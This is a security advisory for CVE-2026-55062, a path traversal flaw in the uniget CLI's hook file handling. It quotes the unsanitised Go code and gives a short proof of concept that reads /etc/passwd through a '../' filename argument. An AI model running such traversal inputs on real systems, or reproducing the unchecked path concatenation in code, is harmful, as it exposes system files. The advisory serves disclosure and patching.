CVE-2026-55062

Summary

uniget CLI has Path Traversal in Hook Files - Directory Escape Vulnerability

Severity

medium

EPSS

0.2% (p6)

CWE

CWE-22, CWE-23, CWE-36, CWE-73

Also known as

GHSA-m6jg-wr9m-cg2f

Published

2026-08-17

Updated

2026-08-17

Advisory details

Summary

Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like passwd.

Details File: hooks.go Lines 135-160

hookFileName := args[0]  // User input not validated
hookFile = preInstallHooksDir + "/" + hookFileName  // Direct concatenation

Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.

PoC

Step 1: Set cat as editor

export EDITOR="cat"

Step 2: Read /etc/passwd via path traversal

./uniget hooks edit --type=pre-install "../../../../etc/passwd"

Step 3: Output shows file contents

root:x:0:0:root:/root:/bin/bash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[...]

References

• https://github.com/advisories/GHSA-m6jg-wr9m-cg2f
• https://github.com/uniget-org/cli/security/advisories/GHSA-m6jg-wr9m-cg2f
• https://github.com/uniget-org/cli/commit/7b4f18a9f00f0955f830c7ccf266ed0de5f9fd91
• https://github.com/uniget-org/cli/releases/tag/v0.27.6

Related advisories

• CVE-2026-107377 — high · PyPI/datamodel-code-generator
• CVE-2026-105744 — high · PyPI/docling
• CVE-2026-105865 — high · npm/payload
• CVE-2026-106103 — high · npm/@quasar/icongenie
• GHSA-5rmq-chc7-m22f — high · PyPI/vibe-trading-ai
• CVE-2026-61647 — high · npm/@roomi-fields/notebooklm-mcp
• GHSA-2q42-4q24-7rgv#@typespec/compiler — high · npm/@typespec/compiler
• GHSA-2q42-4q24-7rgv#@typespec/openapi3 — high · npm/@typespec/openapi3

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Summarize with AI

ChatGPTClaudePerplexity